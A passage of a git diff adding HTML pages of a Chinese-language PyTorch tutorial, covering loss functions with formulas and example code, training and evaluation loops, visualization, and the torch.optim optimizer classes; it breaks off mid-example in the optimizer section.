+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html new file mode 100644 index 0000000..bd349ce --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.6 损失函数/index.html @@ -0,0 +1,307 @@ + + + + + +3.6 损失函数.md | wjlin0 + + + + + + + +

3.6 损失函数.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.6 损失函数

+

在深度学习广为使用的今天,我们可以在脑海里清晰的知道,一个模型想要达到很好的效果需要学习,也就是我们常说的训练。一个好的训练离不开优质的负反馈,这里的损失函数就是模型的负反馈。

+

+

所以在PyTorch中,损失函数是必不可少的。它是数据输入到模型当中,产生的结果与真实标签的评价指标,我们的模型可以按照损失函数的目标来做出改进。

+

下面我们将开始探索PyTorch的所拥有的损失函数。这里将列出PyTorch中常用的损失函数(一般通过torch.nn调用),并详细介绍每个损失函数的功能介绍、数学公式和调用代码。当然,PyTorch的损失函数还远不止这些,在解决实际问题的过程中需要进一步探索、借鉴现有工作,或者设计自己的损失函数。

+

经过本节的学习,你将收获:

+
    +
  • 在深度学习中常见的损失函数及其定义方式
  • +
  • PyTorch中损失函数的调用
  • +
+

3.5.1 二分类交叉熵损失函数​

+
torch.nn.BCELoss(weight=None, size_average=None, reduce=None, reduction='mean')
+

功能:计算二分类任务时的交叉熵(Cross Entropy)函数。在二分类中,label是{0,1}。对于进入交叉熵函数的input为概率分布的形式。一般来说,input为sigmoid激活层的输出,或者softmax的输出。

+

主要参数:

+

weight:每个类别的loss设置权值

+

size_average:数据为bool,为True时,返回的loss为平均值;为False时,返回的各样本的loss之和。

+

reduce:数据类型为bool,为True时,loss的返回是标量。

+

计算公式如下: +$ +\ell(x, y)=\left{\begin{array}{ll} +\operatorname{mean}(L), & \text { if reduction }=\text { 'mean' } \ +\operatorname{sum}(L), & \text { if reduction }=\text { 'sum' } +\end{array}\right. +$

+
m = nn.Sigmoid()
loss = nn.BCELoss()
input = torch.randn(3, requires_grad=True)
target = torch.empty(3).random_(2)
output = loss(m(input), target)
output.backward()
+
print('BCELoss损失函数的计算结果为',output)
+
BCELoss损失函数的计算结果为 tensor(0.5732, grad_fn=<BinaryCrossEntropyBackward>)
+

3.5.2 交叉熵损失函数​

+
torch.nn.CrossEntropyLoss(weight=None, size_average=None, ignore_index=-100, reduce=None, reduction='mean')
+

功能:计算交叉熵函数

+

主要参数:

+

weight:每个类别的loss设置权值。

+

size_average:数据为bool,为True时,返回的loss为平均值;为False时,返回的各样本的loss之和。

+

ignore_index:忽略某个类的损失函数。

+

reduce:数据类型为bool,为True时,loss的返回是标量。

+

计算公式如下: +$ +\operatorname{loss}(x, \text { class })=-\log \left(\frac{\exp (x[\text { class }])}{\sum_{j} \exp (x[j])}\right)=-x[\text { class }]+\log \left(\sum_{j} \exp (x[j])\right) +$

+
loss = nn.CrossEntropyLoss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.empty(3, dtype=torch.long).random_(5)
output = loss(input, target)
output.backward()
+
print(output)
+
tensor(2.0115, grad_fn=<NllLossBackward>)
+

3.5.3 L1损失函数​

+
torch.nn.L1Loss(size_average=None, reduce=None, reduction='mean')
+

功能: 计算输出y和真实标签target之间的差值的绝对值。

+

我们需要知道的是,reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。 +mean:加权平均,返回标量。 +如果选择none,那么返回的结果是和输入元素相同尺寸的。默认计算方式是求平均。

+

计算公式如下: +$ +L_{n} = |x_{n}-y_{n}| +$

+
loss = nn.L1Loss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('L1损失函数的计算结果为',output)
+
L1损失函数的计算结果为 tensor(1.5729, grad_fn=<L1LossBackward>)
+

3.5.4 MSE损失函数​

+
torch.nn.MSELoss(size_average=None, reduce=None, reduction='mean')
+

功能: 计算输出y和真实标签target之差的平方。

+

和L1Loss一样,MSELoss损失函数中,reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。默认计算方式是求平均。

+

计算公式如下:

+

$ +l_{n}=\left(x_{n}-y_{n}\right)^{2} +$

+
loss = nn.MSELoss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('MSE损失函数的计算结果为',output)
+
MSE损失函数的计算结果为 tensor(1.6968, grad_fn=<MseLossBackward>)
+

3.5.5 平滑L1 (Smooth L1)损失函数​

+
torch.nn.SmoothL1Loss(size_average=None, reduce=None, reduction='mean', beta=1.0)
+

功能: L1的平滑输出,其功能是减轻离群点带来的影响

+

reduction参数决定了计算模式。有三种计算模式可选:none:逐个元素计算。 +sum:所有元素求和,返回标量。默认计算方式是求平均。

+

提醒: 之后的损失函数中,关于reduction 这个参数依旧会存在。所以,之后就不再单独说明。

+

计算公式如下: +$ +\operatorname{loss}(x, y)=\frac{1}{n} \sum_{i=1}^{n} z_{i} +$ +其中, +$ +z_{i}=\left{\begin{array}{ll} +0.5\left(x_{i}-y_{i}\right)^{2}, & \text { if }\left|x_{i}-y_{i}\right|<1 \ +\left|x_{i}-y_{i}\right|-0.5, & \text { otherwise } +\end{array}\right. +$

+
loss = nn.SmoothL1Loss()
input = torch.randn(3, 5, requires_grad=True)
target = torch.randn(3, 5)
output = loss(input, target)
output.backward()
+
print('SmoothL1Loss损失函数的计算结果为',output)
+
SmoothL1Loss损失函数的计算结果为 tensor(0.7808, grad_fn=<SmoothL1LossBackward>)
+

平滑L1与L1的对比

+

这里我们通过可视化两种损失函数曲线来对比平滑L1和L1两种损失函数的区别。

+
inputs = torch.linspace(-10, 10, steps=5000)
target = torch.zeros_like(inputs)

loss_f_smooth = nn.SmoothL1Loss(reduction='none')
loss_smooth = loss_f_smooth(inputs, target)
loss_f_l1 = nn.L1Loss(reduction='none')
loss_l1 = loss_f_l1(inputs,target)

plt.plot(inputs.numpy(), loss_smooth.numpy(), label='Smooth L1 Loss')
plt.plot(inputs.numpy(), loss_l1, label='L1 loss')
plt.xlabel('x_i - y_i')
plt.ylabel('loss value')
plt.legend()
plt.grid()
plt.show()
+

png

+

可以看出,对于smoothL1来说,在 0 这个尖端处,过渡更为平滑。

+

3.5.6 目标泊松分布的负对数似然损失​

+
torch.nn.PoissonNLLLoss(log_input=True, full=False, size_average=None, eps=1e-08, reduce=None, reduction='mean')
+

功能: 泊松分布的负对数似然损失函数

+

主要参数:

+

log_input:输入是否为对数形式,决定计算公式。

+

full:计算所有 loss,默认为 False。

+

eps:修正项,避免 input 为 0 时,log(input) 为 nan 的情况。

+

数学公式:

+
    +
  • +

    当参数log_input=True: +$ +\operatorname{loss}\left(x_{n}, y_{n}\right)=e^{x_{n}}-x_{n} \cdot y_{n} +$

    +
  • +
  • +

    当参数log_input=False:

    +

    $ +\operatorname{loss}\left(x_{n}, y_{n}\right)=x_{n}-y_{n} \cdot \log \left(x_{n}+\text { eps }\right) +$

    +
  • +
+
loss = nn.PoissonNLLLoss()
log_input = torch.randn(5, 2, requires_grad=True)
target = torch.randn(5, 2)
output = loss(log_input, target)
output.backward()
+
print('PoissonNLLLoss损失函数的计算结果为',output)
+
PoissonNLLLoss损失函数的计算结果为 tensor(0.7358, grad_fn=<MeanBackward0>)
+

3.5.7 KL散度​

+
torch.nn.KLDivLoss(size_average=None, reduce=None, reduction='mean', log_target=False)
+

功能: 计算KL散度,也就是计算相对熵。用于连续分布的距离度量,并且对离散采用的连续输出空间分布进行回归通常很有用。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean/batchmean。

+
none:逐个元素计算。

sum:所有元素求和,返回标量。

mean:加权平均,返回标量。

batchmean:batchsize 维度求平均值。
+

计算公式:

+

$ +\begin{aligned} +D_{\mathrm{KL}}(P, Q)=\mathrm{E}{X \sim P}\left[\log \frac{P(X)}{Q(X)}\right] &=\mathrm{E}{X \sim P}[\log P(X)-\log Q(X)] \ +&=\sum_{i=1}^{n} P\left(x_{i}\right)\left(\log P\left(x_{i}\right)-\log Q\left(x_{i}\right)\right) +\end{aligned} +$

+
inputs = torch.tensor([[0.5, 0.3, 0.2], [0.2, 0.3, 0.5]])
target = torch.tensor([[0.9, 0.05, 0.05], [0.1, 0.7, 0.2]], dtype=torch.float)
loss = nn.KLDivLoss()
output = loss(inputs,target)

print('KLDivLoss损失函数的计算结果为',output)
+
KLDivLoss损失函数的计算结果为 tensor(-0.3335)
+

3.5.8 MarginRankingLoss​

+
torch.nn.MarginRankingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')
+

功能: 计算两个向量之间的相似度,用于排序任务。该方法用于计算两组数据之间的差异。

+

主要参数:

+

margin:边界值,$x_{1}$ 与$x_{2}$ 之间的差异值。

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式:

+

$ +\operatorname{loss}(x 1, x 2, y)=\max (0,-y *(x 1-x 2)+\operatorname{margin}) +$

+
loss = nn.MarginRankingLoss()
input1 = torch.randn(3, requires_grad=True)
input2 = torch.randn(3, requires_grad=True)
target = torch.randn(3).sign()
output = loss(input1, input2, target)
output.backward()

print('MarginRankingLoss损失函数的计算结果为',output)
+
MarginRankingLoss损失函数的计算结果为 tensor(0.7740, grad_fn=<MeanBackward0>)
+

3.5.9 多标签边界损失函数​

+
torch.nn.MultiLabelMarginLoss(size_average=None, reduce=None, reduction='mean')
+

功能: 对于多标签分类问题计算损失函数。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式: +$ +\operatorname{loss}(x, y)=\sum_{i j} \frac{\max (0,1-x[y[j]]-x[i])}{x \cdot \operatorname{size}(0)} +$

+

$ +\begin{array}{l} +\text { 其中, } i=0, \ldots, x \cdot \operatorname{size}(0), j=0, \ldots, y \cdot \operatorname{size}(0), \text { 对于所有的 } i \text { 和 } j \text {, 都有 } y[j] \geq 0 \text { 并且 }\ +i \neq y[j] +\end{array} +$

+
loss = nn.MultiLabelMarginLoss()
x = torch.FloatTensor([[0.9, 0.2, 0.4, 0.8]])
# for target y, only consider labels 3 and 0, not after label -1
y = torch.LongTensor([[3, 0, -1, 1]])# 真实的分类是,第3类和第0类
output = loss(x, y)

print('MultiLabelMarginLoss损失函数的计算结果为',output)
+
MultiLabelMarginLoss损失函数的计算结果为 tensor(0.4500)
+

3.5.10 二分类损失函数​

+
torch.nn.SoftMarginLoss(size_average=None, reduce=None, reduction='mean')torch.nn.(size_average=None, reduce=None, reduction='mean')
+

功能: 计算二分类的 logistic 损失。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\sum_{i} \frac{\log (1+\exp (-y[i] \cdot x[i]))}{x \cdot \operatorname{nelement}()} +$

+

$ +
+\text { 其中, } x . \text { nelement() 为输入 } x \text { 中的样本个数。注意这里 } y \text { 也有 } 1 \text { 和 }-1 \text { 两种模式。 } +
+$

+
inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]])  # 两个样本,两个神经元
target = torch.tensor([[-1, 1], [1, -1]], dtype=torch.float) # 该 loss 为逐个神经元计算,需要为每个神经元单独设置标签

loss_f = nn.SoftMarginLoss()
output = loss_f(inputs, target)

print('SoftMarginLoss损失函数的计算结果为',output)
+
SoftMarginLoss损失函数的计算结果为 tensor(0.6764)
+

3.5.11 多分类的折页损失​

+
torch.nn.MultiMarginLoss(p=1, margin=1.0, weight=None, size_average=None, reduce=None, reduction='mean')
+

功能: 计算多分类的折页损失

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

p:可选 1 或 2。

+

weight:各类别的 loss 设置权值。

+

margin:边界值

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\frac{\sum_{i} \max (0, \operatorname{margin}-x[y]+x[i])^{p}}{x \cdot \operatorname{size}(0)} +$

+

$ +\begin{array}{l} +\text { 其中, } x \in{0, \ldots, x \cdot \operatorname{size}(0)-1}, y \in{0, \ldots, y \cdot \operatorname{size}(0)-1} \text {, 并且对于所有的 } i \text { 和 } j \text {, }\ +\text { 都有 } 0 \leq y[j] \leq x \cdot \operatorname{size}(0)-1, \text { 以及 } i \neq y[j] \text { 。 } +\end{array} +$

+
inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) 
target = torch.tensor([0, 1], dtype=torch.long)

loss_f = nn.MultiMarginLoss()
output = loss_f(inputs, target)

print('MultiMarginLoss损失函数的计算结果为',output)
+
MultiMarginLoss损失函数的计算结果为 tensor(0.6000)
+

3.5.12 三元组损失​

+
torch.nn.TripletMarginLoss(margin=1.0, p=2.0, eps=1e-06, swap=False, size_average=None, reduce=None, reduction='mean')
+

功能: 计算三元组损失。

+

三元组: 这是一种数据的存储或者使用格式。<实体1,关系,实体2>。在项目中,也可以表示为< anchor, positive examples , negative examples>

+

在这个损失函数中,我们希望去anchor的距离更接近positive examples,而远离negative examples

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

p:可选 1 或 2。

+

margin:边界值

+

计算公式:

+

$ +L(a, p, n)=\max \left{d\left(a_{i}, p_{i}\right)-d\left(a_{i}, n_{i}\right)+\operatorname{margin}, 0\right} +$

+

$ +\text { 其中, } d\left(x_{i}, y_{i}\right)=\left|\mathbf{x}{i}-\mathbf{y}{i}\right|_{\text {・ }} +$

+
triplet_loss = nn.TripletMarginLoss(margin=1.0, p=2)
anchor = torch.randn(100, 128, requires_grad=True)
positive = torch.randn(100, 128, requires_grad=True)
negative = torch.randn(100, 128, requires_grad=True)
output = triplet_loss(anchor, positive, negative)
output.backward()
print('TripletMarginLoss损失函数的计算结果为',output)
+
TripletMarginLoss损失函数的计算结果为 tensor(1.1667, grad_fn=<MeanBackward0>)
+

3.5.13 HingEmbeddingLoss​

+
torch.nn.HingeEmbeddingLoss(margin=1.0, size_average=None, reduce=None, reduction='mean')
+

功能: 对输出的embedding结果做Hing损失计算

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

margin:边界值

+

计算公式:

+

$ +l_{n}=\left{\begin{array}{ll} +x_{n}, & \text { if } y_{n}=1 \ +\max \left{0, \Delta-x_{n}\right}, & \text { if } y_{n}=-1 +\end{array}\right. +$ +注意事项: 输入x应为两个输入之差的绝对值。

+

可以这样理解,让个输出的是正例yn=1,那么loss就是x,如果输出的是负例y=-1,那么输出的loss就是要做一个比较。

+
loss_f = nn.HingeEmbeddingLoss()
inputs = torch.tensor([[1., 0.8, 0.5]])
target = torch.tensor([[1, 1, -1]])
output = loss_f(inputs,target)

print('HingEmbeddingLoss损失函数的计算结果为',output)
+
HingEmbeddingLoss损失函数的计算结果为 tensor(0.7667)
+

3.5.14 余弦相似度​

+
torch.nn.CosineEmbeddingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')
+

功能: 对两个向量做余弦相似度

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

margin:可取值[-1,1] ,推荐为[0,0.5] 。

+

计算公式:

+

$ +\operatorname{loss}(x, y)=\left{\begin{array}{ll} +1-\cos \left(x_{1}, x_{2}\right), & \text { if } y=1 \ +\max \left{0, \cos \left(x_{1}, x_{2}\right)-\text { margin }\right}, & \text { if } y=-1 +\end{array}\right. +$ +其中, +$ +\cos (\theta)=\frac{A \cdot B}{|A||B|}=\frac{\sum_{i=1}^{n} A_{i} \times B_{i}}{\sqrt{\sum_{i=1}^{n}\left(A_{i}\right)^{2}} \times \sqrt{\sum_{i=1}^{n}\left(B_{i}\right)^{2}}} +$

+

这个损失函数应该是最广为人知的。对于两个向量,做余弦相似度。将余弦相似度作为一个距离的计算方式,如果两个向量的距离近,则损失函数值小,反之亦然。

+
loss_f = nn.CosineEmbeddingLoss()
inputs_1 = torch.tensor([[0.3, 0.5, 0.7], [0.3, 0.5, 0.7]])
inputs_2 = torch.tensor([[0.1, 0.3, 0.5], [0.1, 0.3, 0.5]])
target = torch.tensor([1, -1], dtype=torch.float)
output = loss_f(inputs_1,inputs_2,target)

print('CosineEmbeddingLoss损失函数的计算结果为',output)
+
CosineEmbeddingLoss损失函数的计算结果为 tensor(0.5000)
+

3.5.15 CTC损失函数​

+
torch.nn.CTCLoss(blank=0, reduction='mean', zero_infinity=False)
+

功能: 用于解决时序类数据的分类

+

计算连续时间序列和目标序列之间的损失。CTCLoss对输入和目标的可能排列的概率进行求和,产生一个损失值,这个损失值对每个输入节点来说是可分的。输入与目标的对齐方式被假定为 "多对一",这就限制了目标序列的长度,使其必须是≤输入长度。

+

主要参数:

+

reduction:计算模式,可为 none/sum/mean。

+

blank:blank label。

+

zero_infinity:无穷大的值或梯度值为

+
# Target are to be padded
T = 50 # Input sequence length
C = 20 # Number of classes (including blank)
N = 16 # Batch size
S = 30 # Target sequence length of longest target in batch (padding length)
S_min = 10 # Minimum target length, for demonstration purposes

# Initialize random batch of input vectors, for *size = (T,N,C)
input = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()

# Initialize random batch of targets (0 = blank, 1:C = classes)
target = torch.randint(low=1, high=C, size=(N, S), dtype=torch.long)

input_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)
target_lengths = torch.randint(low=S_min, high=S, size=(N,), dtype=torch.long)
ctc_loss = nn.CTCLoss()
loss = ctc_loss(input, target, input_lengths, target_lengths)
loss.backward()


# Target are to be un-padded
T = 50 # Input sequence length
C = 20 # Number of classes (including blank)
N = 16 # Batch size

# Initialize random batch of input vectors, for *size = (T,N,C)
input = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()
input_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)

# Initialize random batch of targets (0 = blank, 1:C = classes)
target_lengths = torch.randint(low=1, high=T, size=(N,), dtype=torch.long)
target = torch.randint(low=1, high=C, size=(sum(target_lengths),), dtype=torch.long)
ctc_loss = nn.CTCLoss()
loss = ctc_loss(input, target, input_lengths, target_lengths)
loss.backward()

print('CTCLoss损失函数的计算结果为',loss)
+
CTCLoss损失函数的计算结果为 tensor(16.0885, grad_fn=<MeanBackward0>)
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html new file mode 100644 index 0000000..76fe0dc --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.7 训练与评估/index.html @@ -0,0 +1,82 @@ + + + + + +3.7 训练与评估.md | wjlin0 + + + + + + + +

3.7 训练与评估.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.7 训练和评估

+

我们在完成了模型的训练后,需要在测试集/验证集上完成模型的验证,以确保我们的模型具有泛化能力、不会出现过拟合等问题。在PyTorch中,训练和评估的流程是一致的,只是在训练过程中需要将模型的参数进行更新,而在评估过程中则不需要更新参数。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的训练/评估模式的开启
  • +
  • 完整的训练/评估流程
  • +
+

完成了上述设定后就可以加载数据开始训练模型了。首先应该设置模型的状态:如果是训练状态,那么模型的参数应该支持反向传播的修改;如果是验证/测试状态,则不应该修改模型参数。在PyTorch中,模型的状态设置非常简便,如下的两个操作二选一即可:

+
model.train()   # 训练状态
model.eval() # 验证/测试状态
+

我们前面在DataLoader构建完成后介绍了如何从中读取数据,在训练过程中使用类似的操作即可,区别在于此时要用for循环读取DataLoader中的全部数据。

+
for data, label in train_loader:
+

之后将数据放到GPU上用于后续计算,此处以.cuda()为例

+
data, label = data.cuda(), label.cuda()
+

开始用当前批次数据做训练时,应当先将优化器的梯度置零:

+
optimizer.zero_grad()
+

之后将data送入模型中训练:

+
output = model(data)
+

根据预先定义的criterion计算损失函数:

+
loss = criterion(output, label)
+

将loss反向传播回网络:

+
loss.backward()
+

使用优化器更新模型参数:

+
optimizer.step()
+

这样一个训练过程就完成了,后续还可以计算模型准确率等指标,这部分会在下一节的图像分类实战中加以介绍。

+

验证/测试的流程基本与训练过程一致,不同点在于:

+
    +
  • 需要预先设置torch.no_grad,以及将model调至eval模式
  • +
  • 不需要将优化器的梯度置零
  • +
  • 不需要将loss反向回传到网络
  • +
  • 不需要更新optimizer
  • +
+

一个完整的图像分类的训练过程如下所示:

+
def train(epoch):
model.train()
train_loss = 0
for data, label in train_loader:
data, label = data.cuda(), label.cuda()
optimizer.zero_grad()
output = model(data)
loss = criterion(output, label)
loss.backward()
optimizer.step()
train_loss += loss.item()*data.size(0)
train_loss = train_loss/len(train_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, train_loss))

+

对应的,一个完整图像分类的验证过程如下所示:

+
def val(epoch):       
model.eval()
val_loss = 0
with torch.no_grad():
for data, label in val_loader:
data, label = data.cuda(), label.cuda()
output = model(data)
preds = torch.argmax(output, 1)
loss = criterion(output, label)
val_loss += loss.item()*data.size(0)
running_accu += torch.sum(preds == label.data)
val_loss = val_loss/len(val_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, val_loss))
+

对于图像分类任务,我们还可以使用sklearn.metrics中的classification_report函数来计算模型的准确率、召回率、F1值等指标,如下所示:

+
from sklearn.metrics import classification_report
"""
将下方代码的labels和preds替换为模型预测出来的所有label和preds,
target_names替换为类别名称,
既可得到模型的分类报告
"""
print(classification_report(labels.cpu(), preds.cpu(), target_names=class_names))
+

除此之外,我们还可以使用torcheval或torchmetric来对模型进行评估。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html new file mode 100644 index 0000000..5453afd --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.8 可视化/index.html @@ -0,0 +1,46 @@ + + + + + +3.8 可视化.md | wjlin0 + + + + + + + +

3.8 可视化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:14
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.8 可视化

+

在PyTorch深度学习中,可视化是一个可选项,指的是某些任务在训练完成后,需要对一些必要的内容进行可视化,比如分类的ROC曲线,卷积网络中的卷积核,以及训练/验证过程的损失函数曲线等等。具体的可视化方法可以参考第七章。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html new file mode 100644 index 0000000..dec6cc8 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.9 优化器/index.html @@ -0,0 +1,146 @@ + + + + + +3.9 优化器.md | wjlin0 + + + + + + + +

3.9 优化器.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:14
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.9 PyTorch优化器

+

深度学习的目标是通过不断改变网络参数,使得参数能够对输入做各种非线性变换拟合输出,本质上就是一个函数去寻找最优解,只不过这个最优解是一个矩阵,而如何快速求得这个最优解是深度学习研究的一个重点,以经典的resnet-50为例,它大约有2000万个系数需要进行计算,那么我们如何计算出这么多系数,有以下两种方法:

+
    +
  1. 第一种是直接暴力穷举一遍参数,这种方法从理论上行得通,但是实施上可能性基本为0,因为参数量过于庞大。
  2. +
  3. 为了使求解参数过程更快,人们提出了第二种办法,即BP+优化器逼近求解。
  4. +
+

因此,优化器是根据网络反向传播的梯度信息来更新网络的参数,以起到降低loss函数计算值,使得模型输出更加接近真实标签。

+

经过本节的学习,你将收获:

+
    +
  • 了解PyTorch的优化器
  • +
  • 学会使用PyTorch提供的优化器进行优化
  • +
  • 优化器的属性和构造
  • +
  • 优化器的对比
  • +
+

3.9.1 PyTorch提供的优化器​

+

PyTorch很人性化的给我们提供了一个优化器的库torch.optim,在这里面提供了多种优化器。

+
    +
  • torch.optim.SGD
  • +
  • torch.optim.ASGD
  • +
  • torch.optim.Adadelta
  • +
  • torch.optim.Adagrad
  • +
  • torch.optim.Adam
  • +
  • torch.optim.AdamW
  • +
  • torch.optim.Adamax
  • +
  • torch.optim.RAdam
  • +
  • torch.optim.NAdam
  • +
  • torch.optim.SparseAdam
  • +
  • torch.optim.LBFGS
  • +
  • torch.optim.RMSprop
  • +
  • torch.optim.Rprop
  • +
+

而以上这些优化算法均继承于Optimizer,下面我们先来看下所有优化器的基类Optimizer。定义如下:

+
class Optimizer(object):
def __init__(self, params, defaults):
self.defaults = defaults
self.state = defaultdict(dict)
self.param_groups = []
+

Optimizer有三个属性:

+
    +
  • defaults:存储的是优化器的超参数,例子如下:
  • +
+
{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}
+
    +
  • state:参数的缓存,例子如下:
  • +
+
defaultdict(<class 'dict'>, {tensor([[ 0.3864, -0.0131],
[-0.1911, -0.4511]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}})
+
    +
  • param_groups:管理的参数组,是一个list,其中每个元素是一个字典,顺序是params,lr,momentum,dampening,weight_decay,nesterov,例子如下:
  • +
+
[{'params': [tensor([[-0.1022, -1.6890],[-1.5116, -1.7846]], requires_grad=True)], 'lr': 1, 'momentum': 0, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]
+

Optimizer还有以下的方法:

+
    +
  • zero_grad():清空所管理参数的梯度,PyTorch的特性是张量的梯度不自动清零,因此每次反向传播后都需要清空梯度。
  • +
+
def zero_grad(self, set_to_none: bool = False):
for group in self.param_groups:
for p in group['params']:
if p.grad is not None: #梯度不为空
if set_to_none:
p.grad = None
else:
if p.grad.grad_fn is not None:
p.grad.detach_()
else:
p.grad.requires_grad_(False)
p.grad.zero_()# 梯度设置为0
+
    +
  • step():执行一步梯度更新,参数更新
  • +
+
def step(self, closure): 
raise NotImplementedError
+
    +
  • add_param_group():添加参数组
  • +
+
def add_param_group(self, param_group):
assert isinstance(param_group, dict), "param group must be a dict"
# 检查类型是否为tensor
params = param_group['params']
if isinstance(params, torch.Tensor):
param_group['params'] = [params]
elif isinstance(params, set):
raise TypeError('optimizer parameters need to be organized in ordered collections, but '
'the ordering of tensors in sets will change between runs. Please use a list instead.')
else:
param_group['params'] = list(params)
for param in param_group['params']:
if not isinstance(param, torch.Tensor):
raise TypeError("optimizer can only optimize Tensors, "
"but one of the params is " + torch.typename(param))
if not param.is_leaf:
raise ValueError("can't optimize a non-leaf Tensor")

for name, default in self.defaults.items():
if default is required and name not in param_group:
raise ValueError("parameter group didn't specify a value of required optimization parameter " +
name)
else:
param_group.setdefault(name, default)

params = param_group['params']
if len(params) != len(set(params)):
warnings.warn("optimizer contains a parameter group with duplicate parameters; "
"in future, this will cause an error; "
"see github.com/PyTorch/PyTorch/issues/40967 for more information", stacklevel=3)
# 上面好像都在进行一些类的检测,报Warning和Error
param_set = set()
for group in self.param_groups:
param_set.update(set(group['params']))

if not param_set.isdisjoint(set(param_group['params'])):
raise ValueError("some parameters appear in more than one parameter group")
# 添加参数
self.param_groups.append(param_group)
+
    +
  • load_state_dict() :加载状态参数字典,可以用来进行模型的断点续训练,继续上次的参数进行训练
  • +
+
def load_state_dict(self, state_dict):
r"""Loads the optimizer state.

Arguments:
state_dict (dict): optimizer state. Should be an object returned
from a call to :meth:`state_dict`.
"""
# deepcopy, to be consistent with module API
state_dict = deepcopy(state_dict)
# Validate the state_dict
groups = self.param_groups
saved_groups = state_dict['param_groups']

if len(groups) != len(saved_groups):
raise ValueError("loaded state dict has a different number of "
"parameter groups")
param_lens = (len(g['params']) for g in groups)
saved_lens = (len(g['params']) for g in saved_groups)
if any(p_len != s_len for p_len, s_len in zip(param_lens, saved_lens)):
raise ValueError("loaded state dict contains a parameter group "
"that doesn't match the size of optimizer's group")

# Update the state
id_map = {old_id: p for old_id, p in
zip(chain.from_iterable((g['params'] for g in saved_groups)),
chain.from_iterable((g['params'] for g in groups)))}

def cast(param, value):
r"""Make a deep copy of value, casting all tensors to device of param."""
.....

# Copy state assigned to params (and cast tensors to appropriate types).
# State that is not assigned to params is copied as is (needed for
# backward compatibility).
state = defaultdict(dict)
for k, v in state_dict['state'].items():
if k in id_map:
param = id_map[k]
state[param] = cast(param, v)
else:
state[k] = v

# Update parameter groups, setting their 'params' value
def update_group(group, new_group):
...
param_groups = [
update_group(g, ng) for g, ng in zip(groups, saved_groups)]
self.__setstate__({'state': state, 'param_groups': param_groups})
+
    +
  • state_dict():获取优化器当前状态信息字典
  • +
+
def state_dict(self):
r"""Returns the state of the optimizer as a :class:`dict`.

It contains two entries:

* state - a dict holding current optimization state. Its content
differs between optimizer classes.
* param_groups - a dict containing all parameter groups
"""
# Save order indices instead of Tensors
param_mappings = {}
start_index = 0

def pack_group(group):
......
param_groups = [pack_group(g) for g in self.param_groups]
# Remap state to use order indices as keys
packed_state = {(param_mappings[id(k)] if isinstance(k, torch.Tensor) else k): v
for k, v in self.state.items()}
return {
'state': packed_state,
'param_groups': param_groups,
}
+

3.9.2 实际操作​

+
import os
import torch

# 设置权重,服从正态分布 --> 2 x 2
weight = torch.randn((2, 2), requires_grad=True)
# 设置梯度为全1矩阵 --> 2 x 2
weight.grad = torch.ones((2, 2))
# 输出现有的weight和data
print("The data of weight before step:\n{}".format(weight.data))
print("The grad of weight before step:\n{}".format(weight.grad))
# 实例化优化器
optimizer = torch.optim.SGD([weight], lr=0.1, momentum=0.9)
# 进行一步操作
optimizer.step()
# 查看进行一步后的值,梯度
print("The data of weight after step:\n{}".format(weight.data))
